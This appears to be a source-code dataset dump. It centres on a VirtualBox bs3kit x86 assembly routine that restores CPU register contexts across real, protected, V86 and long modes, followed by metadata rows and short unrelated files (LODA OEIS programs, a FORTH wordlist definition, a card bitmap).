; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "bs3kit-template-header.mac"
BS3_EXTERN_SYSTEM16 Bs3Gdt
BS3_EXTERN_DATA16 g_bBs3CurrentMode
BS3_EXTERN_DATA16 g_fBs3TrapNoV86Assist
%if TMPL_BITS != 64
BS3_EXTERN_DATA16 g_uBs3CpuDetected
%endif
TMPL_BEGIN_TEXT
BS3_EXTERN_CMN Bs3Syscall
BS3_EXTERN_CMN Bs3Panic
TMPL_BEGIN_TEXT
;;
; Restores the given register context.
;
; @param pRegCtx
; @param fFlags
; @uses All registers and may trash stack immediately before the resume point.
;
; @note Only respects the BS3_MODE_CODE_MASK part of pRegCtx->bMode.
;
%if TMPL_BITS == 16
BS3_PROC_BEGIN_CMN Bs3RegCtxRestore_aborts, BS3_PBC_FAR ; special entry point for when watcom applies __aborts
BS3_PROC_BEGIN_CMN Bs3RegCtxRestore_aborts, BS3_PBC_NEAR ; special entry point for when watcom applies __aborts
CPU 8086
xor xAX, xAX
push xAX ; fake return address.
push xAX
jmp _Bs3RegCtxRestore_f16
%elif TMPL_BITS == 32
BS3_PROC_BEGIN_CMN Bs3RegCtxRestore_aborts, BS3_PBC_NEAR ; special entry point for when watcom applies __aborts
push 0feedfaceh ; fake return address.
%endif
BS3_PROC_BEGIN_CMN Bs3RegCtxRestore, BS3_PBC_HYBRID
BS3_CALL_CONV_PROLOG 2
push xBP
mov xBP, xSP
;
; If we're not in ring-0, ask the kernel to restore it for us (quicker
; and less problematic if we're in a funny context right now with weird
; CS or SS values).
;
%if TMPL_BITS == 16
cmp byte [BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_RM
je .in_ring0
test byte [BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_CODE_V86
jnz .do_syscall_restore_ctx
%endif
mov ax, ss
test al, 3
jz .in_ring0
.do_syscall_restore_ctx:
%if TMPL_BITS != 16
.do_syscall_restore_ctx_restore_ds:
mov cx, ds
mov xSI, [xBP + xCB*2]
movzx edx, word [xBP + xCB*3]
mov eax, BS3_SYSCALL_RESTORE_CTX
%else
mov si, [bp + xCB + cbCurRetAddr]
mov cx, [bp + xCB + cbCurRetAddr + 2]
mov dx, [bp + xCB + cbCurRetAddr + sCB]
mov ax, BS3_SYSCALL_RESTORE_CTX
%endif
call Bs3Syscall
call Bs3Panic
%if TMPL_BITS == 16
.do_syscall_restore_ctx_restore_ds:
push es
pop ds
jmp .do_syscall_restore_ctx
%endif
;
; Prologue. Loads ES with BS3KIT_GRPNM_DATA16/FLAT (for g_bBs3CurrentMode
; and g_uBs3CpuDetected), DS:xBX with pRegCtx and fFlags into xCX.
;
.in_ring0:
%if TMPL_BITS == 16
mov ax, BS3_SEL_DATA16
mov es, ax
lds bx, [bp + xCB + cbCurRetAddr]
mov cx, [bp + xCB + cbCurRetAddr + sCB]
%elif TMPL_BITS == 32
mov ax, BS3_SEL_R0_DS32
mov ds, ax
mov xBX, [xBP + xCB*2]
movzx xCX, word [xBP + xCB*3]
%else
mov ax, BS3_SEL_R0_DS64
mov ds, ax
mov xBX, [xBP + xCB*2]
movzx xCX, word [xBP + xCB*3]
%endif
%if TMPL_BITS != 64
; Restoring a 64-bit context is best done from 64-bit code.
mov al, [xBX + BS3REGCTX.bMode]
test al, BS3_MODE_CODE_64
jnz .do_syscall_restore_ctx_restore_ds
%endif
; The remainder must be done with interrupts disabled.
cli
;
; Update g_bs3CurrentMode.
;
%if TMPL_BITS == 64
mov al, [xBX + BS3REGCTX.bMode]
%endif
and al, BS3_MODE_CODE_MASK
mov ah, [BS3_ONLY_16BIT(es:) BS3_DATA16_WRT(g_bBs3CurrentMode)]
and ah, ~BS3_MODE_CODE_MASK
or al, ah
mov [BS3_ONLY_16BIT(es:) BS3_DATA16_WRT(g_bBs3CurrentMode)], al
;
; Set g_fBs3TrapNoV86Assist if BS3REGCTXRESTORE_F_NO_V86_ASSIST specified.
;
test cl, BS3REGCTXRESTORE_F_NO_V86_ASSIST
jz .no_f_no_v86_assist
mov byte [BS3_ONLY_16BIT(es:) BS3_DATA16_WRT(g_fBs3TrapNoV86Assist)], 1
.no_f_no_v86_assist:
%if TMPL_BITS == 16
;
; Check what the CPU can do.
;
cmp byte [es:BS3_DATA16_WRT(g_uBs3CpuDetected)], BS3CPU_80386
jae .restore_full
; Do the 80286 specifics first.
cmp byte [es:BS3_DATA16_WRT(g_uBs3CpuDetected)], BS3CPU_80286
jb .restore_16_bit_ancient
CPU 286
lmsw [bx + BS3REGCTX.cr0]
cmp byte [es:BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_RM
je .restore_16_bit_ancient
lldt [bx + BS3REGCTX.ldtr]
; TR - complicated because we need to clear the busy bit. ASSUMES GDT.
str ax
cmp ax, [bx + BS3REGCTX.tr]
je .skip_tr_286
mov di, word [xBX + BS3REGCTX.tr]
or di, di ; check for null.
jz .load_tr_286
push ds
push BS3_SEL_SYSTEM16
pop ds
add di, Bs3Gdt wrt BS3SYSTEM16
add di, X86DESCGENERIC_BIT_OFF_TYPE / 8
and byte [di], ~(X86_SEL_TYPE_SYS_TSS_BUSY_MASK << (X86DESCGENERIC_BIT_OFF_TYPE % 8))
pop ds
.load_tr_286:
ltr [bx + BS3REGCTX.tr]
.skip_tr_286:
.restore_16_bit_ancient:
CPU 8086
; Some general registers.
mov cx, [bx + BS3REGCTX.rcx]
mov dx, [bx + BS3REGCTX.rdx]
; Do the return frame and final registers (keep short as we're not quite
; NMI safe here if pRegCtx is on the stack).
cmp byte [es:BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_RM
mov di, [bx + BS3REGCTX.rsp]
je .restore_16_bit_same_privilege
cmp byte [bx + BS3REGCTX.bCpl], 0
je .restore_16_bit_same_privilege
mov ax, [bx + BS3REGCTX.ss]
push ax
mov ax, [bx + BS3REGCTX.rsp]
push ax
mov ax, [bx + BS3REGCTX.rflags]
push ax
mov ax, [bx + BS3REGCTX.cs]
push ax
mov ax, [bx + BS3REGCTX.rip]
push ax
mov ax, [bx + BS3REGCTX.ds]
push ax
mov si, [bx + BS3REGCTX.rsi]
mov di, [bx + BS3REGCTX.rdi]
mov es, [bx + BS3REGCTX.es]
mov ax, [bx + BS3REGCTX.rax]
mov bp, [bx + BS3REGCTX.rbp] ; restore late for better stacks.
mov bx, [bx + BS3REGCTX.rbx]
pop ds
iret
.restore_16_bit_same_privilege:
sub di, 2*5 ; iret frame + pop ds
mov si, di
mov es, [bx + BS3REGCTX.ss] ; ES is target stack segment.
cld
mov ax, [bx + BS3REGCTX.ds]
stosw
mov ax, [bx + BS3REGCTX.rbp] ; Restore esp as late as possible for better stacks.
stosw
mov ax, [bx + BS3REGCTX.rip]
stosw
mov ax, [bx + BS3REGCTX.cs]
stosw
mov ax, [bx + BS3REGCTX.rflags]
stosw
mov di, [bx + BS3REGCTX.rdi]
mov es, [bx + BS3REGCTX.es]
mov ax, [bx + BS3REGCTX.rax]
mov ss, [bx + BS3REGCTX.ss]
mov sp, si
mov si, [bx + BS3REGCTX.rsi]
mov bx, [bx + BS3REGCTX.rbx]
pop ds
pop bp
iret
CPU 386
%endif
.restore_full:
;
; 80386 or later.
; For 32-bit and 16-bit versions, we always use 32-bit iret.
;
; Restore control registers if they've changed.
test cl, BS3REGCTXRESTORE_F_SKIP_CRX
jnz .skip_control_regs
test byte [xBX + BS3REGCTX.fbFlags], BS3REG_CTX_F_NO_CR0_IS_MSW | BS3REG_CTX_F_NO_CR2_CR3
jnz .skip_control_regs
test byte [xBX + BS3REGCTX.fbFlags], BS3REG_CTX_F_NO_CR4 ; (old 486s and 386s didn't have CR4)
jnz .skip_cr4
%if TMPL_BITS != 64
test word [BS3_ONLY_16BIT(es:) BS3_DATA16_WRT(g_uBs3CpuDetected)], BS3CPU_F_CPUID
jz .skip_cr4
%endif
mov sAX, [xBX + BS3REGCTX.cr4]
mov sDX, cr4
cmp sAX, sDX
je .skip_cr4
mov cr4, sAX
.skip_cr4:
mov sAX, [xBX + BS3REGCTX.cr0]
mov sDX, cr0
cmp sAX, sDX
je .skip_cr0
mov cr0, sAX
.skip_cr0:
mov sAX, [xBX + BS3REGCTX.cr3]
mov sDX, cr3
cmp sAX, sDX
je .skip_cr3
mov cr3, sAX
.skip_cr3:
mov sAX, [xBX + BS3REGCTX.cr2]
mov sDX, cr2
cmp sAX, sDX
je .skip_cr2
mov cr2, sAX
.skip_cr2:
;
; Restore
;
%if TMPL_BITS != 64
; We cannot restore ldtr and tr if we're in real-mode.
cmp byte [BS3_ONLY_16BIT(es:) BS3_DATA16_WRT(g_bBs3CurrentMode)], BS3_MODE_RM
je .skip_control_regs
%endif
test byte [xBX + BS3REGCTX.fbFlags], BS3REG_CTX_F_NO_TR_LDTR
jnz .skip_control_regs
; LDTR
sldt ax
cmp ax, [xBX + BS3REGCTX.ldtr]
je .skip_ldtr
lldt [xBX + BS3REGCTX.ldtr]
.skip_ldtr:
; TR - complicated because we need to clear the busy bit. ASSUMES GDT.
str ax
cmp ax, [xBX + BS3REGCTX.tr]
je .skip_tr
movzx edi, word [xBX + BS3REGCTX.tr]
or edi, edi ; check for null.
jz .load_tr
%if TMPL_BITS == 16
push ds
push BS3_SEL_SYSTEM16
pop ds
add xDI, Bs3Gdt wrt BS3SYSTEM16
%else
add xDI, Bs3Gdt wrt FLAT
%endif
add xDI, X86DESCGENERIC_BIT_OFF_TYPE / 8
and byte [xDI], ~(X86_SEL_TYPE_SYS_TSS_BUSY_MASK << (X86DESCGENERIC_BIT_OFF_TYPE % 8))
%if TMPL_BITS == 16
pop ds
%endif
.load_tr:
ltr [xBX + BS3REGCTX.tr]
.skip_tr:
.skip_control_regs:
%if TMPL_BITS == 64
;
; 64-bit returns are simple because ss:rsp are always restored.
;
; A small complication here when returning to a 16-bit stack (only
; applicable to 16-bit and 32-bit code), iret doesn't touch the high
; ESP bits and we can easily later end up with trap handlers
; accessing memory never intended as stack.
;
mov rcx, qword [xBX + BS3REGCTX.rsp] ; (also 1st param for conv call below)
cmp rcx, 0ffffh
ja .iretq_maybe_annoying_16bit_stack
cmp rsp, 0ffffh
ja .iretq_maybe_annoying_16bit_stack
.iretq_ok:
movzx eax, word [xBX + BS3REGCTX.ss]
push rax
push qword [xBX + BS3REGCTX.rsp]
push qword [xBX + BS3REGCTX.rflags]
movzx eax, word [xBX + BS3REGCTX.cs]
push rax
push qword [xBX + BS3REGCTX.rip]
.iretq_restore_regs_and_iret:
mov es, [xBX + BS3REGCTX.es]
mov fs, [xBX + BS3REGCTX.fs]
mov gs, [xBX + BS3REGCTX.gs]
mov rax, [xBX + BS3REGCTX.rax]
mov rdx, [xBX + BS3REGCTX.rdx]
mov rcx, [xBX + BS3REGCTX.rcx]
mov rsi, [xBX + BS3REGCTX.rsi]
mov rdi, [xBX + BS3REGCTX.rdi]
mov r8, [xBX + BS3REGCTX.r8]
mov r9, [xBX + BS3REGCTX.r9]
mov r10, [xBX + BS3REGCTX.r10]
mov r11, [xBX + BS3REGCTX.r11]
mov r12, [xBX + BS3REGCTX.r12]
mov r13, [xBX + BS3REGCTX.r13]
mov r14, [xBX + BS3REGCTX.r14]
mov r15, [xBX + BS3REGCTX.r15]
mov rbp, [xBX + BS3REGCTX.rbp] ; restore late for better stacks.
mov ds, [xBX + BS3REGCTX.ds]
mov rbx, [xBX + BS3REGCTX.rbx]
iretq
.iretq_maybe_annoying_16bit_stack:
movzx edx, word [xBX + BS3REGCTX.ss] ; (also 2nd param for conv call below)
lar eax, dx
jnz .iretq_ok
test eax, X86LAR_F_D | X86LAR_F_L
jnz .iretq_ok ; Returning to a big of long SS needs not extra work.
lar eax, word [xBX + BS3REGCTX.cs]
jnz .iretq_ok
test eax, X86LAR_F_L
jnz .iretq_ok ; It doesn't matter when returning to 64-bit code.
; Convert ss:sp to a flat address.
BS3_EXTERN_CMN Bs3SelFar32ToFlat32NoClobber
call Bs3SelFar32ToFlat32NoClobber
mov rdi, rax
; 2nd return frame (32-bit, same CPL).
mov eax, [xBX + BS3REGCTX.rflags]
mov [rdi - 4], eax
movzx eax, word [xBX + BS3REGCTX.cs]
mov [rdi - 8], eax
mov eax, [xBX + BS3REGCTX.rip]
mov [rdi - 12], eax
mov ecx, [xBX + BS3REGCTX.rsp]
sub cx, 12
mov [rdi - 16], ecx
; 1st return frame.
movzx eax, word [xBX + BS3REGCTX.ss]
push rax ; new 16-bit SS
sub cx, 4
push rcx ; new esp
mov rax, [xBX + BS3REGCTX.rflags]
and rax, ~(X86_EFL_NT | X86_EFL_TF)
push rax ; rflags
AssertCompile(BS3_SEL_RING_SHIFT == 8)
mov eax, BS3_SEL_R0_CS32
add ah, [xBX + BS3REGCTX.bCpl]
or al, [xBX + BS3REGCTX.bCpl]
push rax ; 32-bit CS
push .iretq_pop_real_esp_and_iret_again wrt FLAT
jmp .iretq_restore_regs_and_iret
BS3_SET_BITS 32
.iretq_pop_real_esp_and_iret_again:
pop esp
iretd
BS3_SET_BITS 64
%else
;
; 32-bit/16-bit is more complicated as we have three different iret frames.
;
mov al, [BS3_ONLY_16BIT(es:) BS3_DATA16_WRT(g_bBs3CurrentMode)]
cmp al, BS3_MODE_RM
je .iretd_same_cpl_rm
test dword [xBX + BS3REGCTX.rflags], X86_EFL_VM
jnz .restore_v8086
cmp byte [xBX + BS3REGCTX.bCpl], 0
je .iretd_same_cpl
;
; IRETD to different CPL. Frame includes ss:esp.
;
.iretd_different_cpl:
or eax, 0ffffffffh ; poison unused parts of segment pushes
mov ax, [xBX + BS3REGCTX.ss]
push eax
push dword [xBX + BS3REGCTX.rsp]
push dword [xBX + BS3REGCTX.rflags]
mov ax, [xBX + BS3REGCTX.cs]
push eax
push dword [xBX + BS3REGCTX.rip]
push dword [xBX + BS3REGCTX.rbp] ; Restore esp as late as possible for better stacks.
mov ax, [xBX + BS3REGCTX.ds]
push xAX
mov es, [xBX + BS3REGCTX.es]
mov fs, [xBX + BS3REGCTX.fs]
mov gs, [xBX + BS3REGCTX.gs]
mov eax, [xBX + BS3REGCTX.rax]
mov edx, [xBX + BS3REGCTX.rdx]
mov ecx, [xBX + BS3REGCTX.rcx]
mov esi, [xBX + BS3REGCTX.rsi]
%if TMPL_BITS == 16 ; if SS is 16-bit, we will not be able to restore the high word.
;; @todo 16-bit stack will also mess us up in 32-bit code, so this needs fixing (see 64-bit above).
mov edi, [xBX + BS3REGCTX.rsp]
mov di, sp
mov esp, edi
%endif
mov edi, [xBX + BS3REGCTX.rdi]
mov ebx, [xBX + BS3REGCTX.rbx]
pop ds
pop ebp
iretd
;
; IRETD to same CPL (includes real mode).
;
.iretd_same_cpl_rm:
; Use STOSD/ES:EDI to create the frame.
mov es, [xBX + BS3REGCTX.ss]
mov esi, [xBX + BS3REGCTX.rsp]
sub esi, 5*4
movzx edi, si
jmp .es_edi_is_pointing_to_return_frame_location
.iretd_same_cpl:
; Use STOSD/ES:EDI to create the frame.
mov es, [xBX + BS3REGCTX.ss]
mov edi, [xBX + BS3REGCTX.rsp]
sub edi, 5*4
; Which part of the stack pointer is actually used depends on the SS.D/B bit.
lar eax, [xBX + BS3REGCTX.ss]
jnz .using_32_bit_stack_pointer
test eax, X86LAR_F_D
jnz .using_32_bit_stack_pointer
.using_16_bit_stack_pointer:
mov esi, edi ; save rsp for later.
movzx edi, di
jmp .es_edi_is_pointing_to_return_frame_location
.using_32_bit_stack_pointer:
mov esi, edi
.es_edi_is_pointing_to_return_frame_location:
cld
mov ax, [xBX + BS3REGCTX.ds]
o32 stosd
mov eax, [xBX + BS3REGCTX.rbp] ; Restore esp as late as possible for better stacks.
o32 stosd
mov eax, [xBX + BS3REGCTX.rip]
o32 stosd
mov ax, [xBX + BS3REGCTX.cs]
o32 stosd
mov eax, [xBX + BS3REGCTX.rflags]
o32 stosd
mov es, [xBX + BS3REGCTX.es]
mov fs, [xBX + BS3REGCTX.fs]
mov gs, [xBX + BS3REGCTX.gs]
mov eax, [xBX + BS3REGCTX.rax]
mov edx, [xBX + BS3REGCTX.rdx]
mov ecx, [xBX + BS3REGCTX.rcx]
mov edi, [xBX + BS3REGCTX.rdi]
mov ebp, [xBX + BS3REGCTX.rbp] ; restore late for better stacks.
mov ss, [xBX + BS3REGCTX.ss]
mov esp, esi
mov esi, [xBX + BS3REGCTX.rsi]
mov ebx, [xBX + BS3REGCTX.rbx]
o32 pop ds
pop ebp
iretd
;
; IRETD to v8086 mode. Frame includes ss:esp and the 4 data segment registers.
;
.restore_v8086:
or eax, 0ffffffffh ; poison unused parts of segment pushes
mov eax, [xBX + BS3REGCTX.gs]
push eax
mov eax, [xBX + BS3REGCTX.fs]
push eax
mov eax, [xBX + BS3REGCTX.ds]
push eax
mov eax, [xBX + BS3REGCTX.es]
push eax
mov eax, [xBX + BS3REGCTX.ss]
push eax
push dword [xBX + BS3REGCTX.rsp]
push dword [xBX + BS3REGCTX.rflags]
mov ax, [xBX + BS3REGCTX.cs]
push eax
push dword [xBX + BS3REGCTX.rip]
mov eax, [xBX + BS3REGCTX.rax]
mov edx, [xBX + BS3REGCTX.rdx]
mov ecx, [xBX + BS3REGCTX.rcx]
mov esi, [xBX + BS3REGCTX.rsi]
mov edi, [xBX + BS3REGCTX.rdi]
mov ebp, [xBX + BS3REGCTX.rbp] ; restore late for better stacks.
mov ebx, [xBX + BS3REGCTX.rbx]
iretd
%endif
BS3_PROC_END_CMN Bs3RegCtxRestore
| 32.770519 | 111 | 0.562104 |
59d65660070d40421f66e3b07d35f21c8ad74337 | 461 | asm | Assembly | oeis/248/A248751.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/248/A248751.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/248/A248751.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A248751: Decimal expansion of limit of the real part of f(1-i,n)/f(1-i,n+1), where f(x,n) is the n-th Fibonacci polynomial.
; Submitted by Christian Krause
; 5,2,9,0,8,5,5,1,3,6,3,5,7,4,6,1,2,5,1,6,0,9,9,0,5,2,3,7,9,0,2,2,5,2,1,0,6,1,9,3,6,5,0,4,9,8,3,8,9,0,9,7,4,3,1,4,0,7,7,1,1,7,6,3,2,0,2,3,9,8,1,1,5,7,9,1,8,9,4,6,2,7,7,1,1,4
add $0,1
seq $0,248749 ; Decimal expansion of limit of the real part of f(1+i,n), where f(x,0) = 1 and f(x,n) = x + 1/f(x,n-1).
| 65.857143 | 173 | 0.605206 |
5d1d6a0bd1e42200cb1bbf4116c26433d896473b | 137 | asm | Assembly | bootdict/x86-wordlist/forth-wordlist.asm | ikysil/ikforth | 165e049fc007003cd05f59332dc856d553d8aac8 | [
"Unlicense"
] | 8 | 2017-08-03T08:49:06.000Z | 2021-12-17T12:02:19.000Z | bootdict/x86-wordlist/forth-wordlist.asm | clstrfsck/ikforth | 165e049fc007003cd05f59332dc856d553d8aac8 | [
"Unlicense"
] | 58 | 2016-04-21T20:03:54.000Z | 2022-01-16T00:40:50.000Z | bootdict/x86-wordlist/forth-wordlist.asm | clstrfsck/ikforth | 165e049fc007003cd05f59332dc856d553d8aac8 | [
"Unlicense"
] | 1 | 2018-07-25T21:07:00.000Z | 2018-07-25T21:07:00.000Z | ; 16.6.1.1595 FORTH-WORDLIST
$WORDLIST 'FORTH-WORDLIST',$FORTH_WORDLIST
$DEFINITIONS $FORTH_WORDLIST
| 27.4 | 60 | 0.591241 |
e58755ca521dc204d7c0aa74f7aa1c9228620c4a | 729 | asm | Assembly | oeis/130/A130887.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/130/A130887.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/130/A130887.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A130887: Inverse Moebius transform of the Mersenne numbers: a(n) = Sum_(d|n} (2^n - 1).
; 1,4,8,19,32,74,128,274,519,1058,2048,4184,8192,16514,32806,65809,131072,262728,524288,1049648,2097286,4196354,8388608,16781654,33554463,67117058,134218246,268451984,536870912,1073775718,2147483648,4295033104,8589936646,17180000258,34359738526,68719743573,137438953472,274878431234,549755822086,1099512677678,2199023255552,4398048624838,8796093022208,17592190240784,35184372122148,70368752566274,140737488355328,281474993557844,562949953421439,1125899940398112,2251799813816326,4503599694487568
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
sub $0,1
cmp $3,$2
mul $4,2
add $4,1
sub $4,$3
add $1,$4
lpe
add $1,1
mov $0,$1
| 40.5 | 495 | 0.781893 |
c6fc06a3801d660edeb38785caa5ee868e3fbf7f | 4,366 | asm | Assembly | Appl/Art/Decks/GeoDeck/LMDiamond4.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Art/Decks/GeoDeck/LMDiamond4.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Art/Decks/GeoDeck/LMDiamond4.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | LMDiamond4 label byte
word C_BLACK
Bitmap <71,100,BMC_PACKBITS,BMF_MONO>
db 0xfa, 0x00, 0x01, 0x3f, 0xff
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0x01, 0x00, 0xc0, 0xfb, 0x00, 0x00, 0x03
db 0x01, 0x01, 0xc0, 0xfc, 0x00, 0x01, 0x04, 0x03
db 0x01, 0x01, 0xc0, 0xfc, 0x00, 0x01, 0x0e, 0x03
db 0x01, 0x03, 0xc0, 0xfc, 0x00, 0x01, 0x1b, 0x03
db 0x01, 0x07, 0xc0, 0xfc, 0x00, 0x01, 0x35, 0x83
db 0x01, 0x06, 0xc0, 0xfc, 0x00, 0x01, 0x2a, 0x83
db 0x01, 0x0e, 0xc0, 0xfc, 0x00, 0x01, 0x55, 0x43
db 0x08, 0x1c, 0xc0, 0x00, 0x80, 0x00, 0x02, 0x00,
0x2a, 0x83
db 0x08, 0x38, 0xc0, 0x01, 0xc0, 0x00, 0x07, 0x00,
0x35, 0x83
db 0x08, 0x3f, 0xf0, 0x03, 0x60, 0x00, 0x0d, 0x80,
0x1b, 0x03
db 0x08, 0x3f, 0xf0, 0x06, 0xb0, 0x00, 0x1a, 0xc0,
0x0e, 0x03
db 0x08, 0x00, 0xc0, 0x0d, 0x58, 0x00, 0x35, 0x60,
0x04, 0x03
db 0x08, 0x00, 0xc0, 0x1a, 0xac, 0x00, 0x6a, 0xb0,
0x00, 0x03
db 0x08, 0x03, 0xf0, 0x15, 0x54, 0x00, 0x55, 0x50,
0x00, 0x03
db 0x08, 0x03, 0xf0, 0x2a, 0xaa, 0x00, 0xaa, 0xa8,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x15, 0x54, 0x00, 0x55, 0x50,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x1a, 0xac, 0x00, 0x6a, 0xb0,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x0d, 0x58, 0x00, 0x35, 0x60,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x06, 0xb0, 0x00, 0x1a, 0xc0,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x03, 0x60, 0x00, 0x0d, 0x80,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0x00,
0x00, 0x03
db 0xfe, 0x00, 0x05, 0x80, 0x00, 0x02, 0x00, 0x00,
0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xfe, 0x00, 0x05, 0x80, 0x00, 0x02, 0x00, 0x00,
0x03
db 0x08, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0x00,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x03, 0x60, 0x00, 0x0d, 0x80,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x06, 0xb0, 0x00, 0x1a, 0xc0,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x0d, 0x58, 0x00, 0x35, 0x60,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x1a, 0xac, 0x00, 0x6a, 0xb0,
0x00, 0x03
db 0x08, 0x00, 0x00, 0x15, 0x54, 0x00, 0x55, 0x50,
0x1f, 0x83
db 0x08, 0x00, 0x00, 0x2a, 0xaa, 0x00, 0xaa, 0xa8,
0x1f, 0x83
db 0x08, 0x00, 0x00, 0x15, 0x54, 0x00, 0x55, 0x50,
0x06, 0x03
db 0x08, 0x00, 0x40, 0x1a, 0xac, 0x00, 0x6a, 0xb0,
0x06, 0x03
db 0x08, 0x00, 0xe0, 0x0d, 0x58, 0x00, 0x35, 0x60,
0x1f, 0xfb
db 0x08, 0x01, 0xb0, 0x06, 0xb0, 0x00, 0x1a, 0xc0,
0x1f, 0xfb
db 0x08, 0x03, 0x58, 0x03, 0x60, 0x00, 0x0d, 0x80,
0x06, 0x3b
db 0x08, 0x02, 0xa8, 0x01, 0xc0, 0x00, 0x07, 0x00,
0x06, 0x73
db 0x08, 0x05, 0x54, 0x00, 0x80, 0x00, 0x02, 0x00,
0x06, 0xe3
db 0x01, 0x02, 0xa8, 0xfc, 0x00, 0x01, 0x06, 0xc3
db 0x01, 0x03, 0x58, 0xfc, 0x00, 0x01, 0x07, 0xc3
db 0x01, 0x01, 0xb0, 0xfc, 0x00, 0x01, 0x07, 0x83
db 0x01, 0x00, 0xe0, 0xfc, 0x00, 0x01, 0x07, 0x03
db 0x01, 0x00, 0x40, 0xfc, 0x00, 0x01, 0x07, 0x03
db 0xfa, 0x00, 0x01, 0x06, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xf9, 0x00, 0x00, 0x03
db 0xfa, 0x00, 0x01, 0x3f, 0xff
| 32.58209 | 53 | 0.635135 |
f8d16f35818d1a5fb71a02602028b805259d332b | 2,302 | asm | Assembly | Am9511A-AddonBoard/TestProgram/c95example/c95example.asm | ja1umi/MUTIF09Project | 8bc8d34c46acbf44be59e1373d2c004a2777db1f | [
"MIT"
] | 8 | 2018-12-30T03:36:48.000Z | 2020-11-07T14:36:05.000Z | Am9511A-AddonBoard/TestProgram/c95example/c95example.asm | ja1umi/MUTIF09Project | 8bc8d34c46acbf44be59e1373d2c004a2777db1f | [
"MIT"
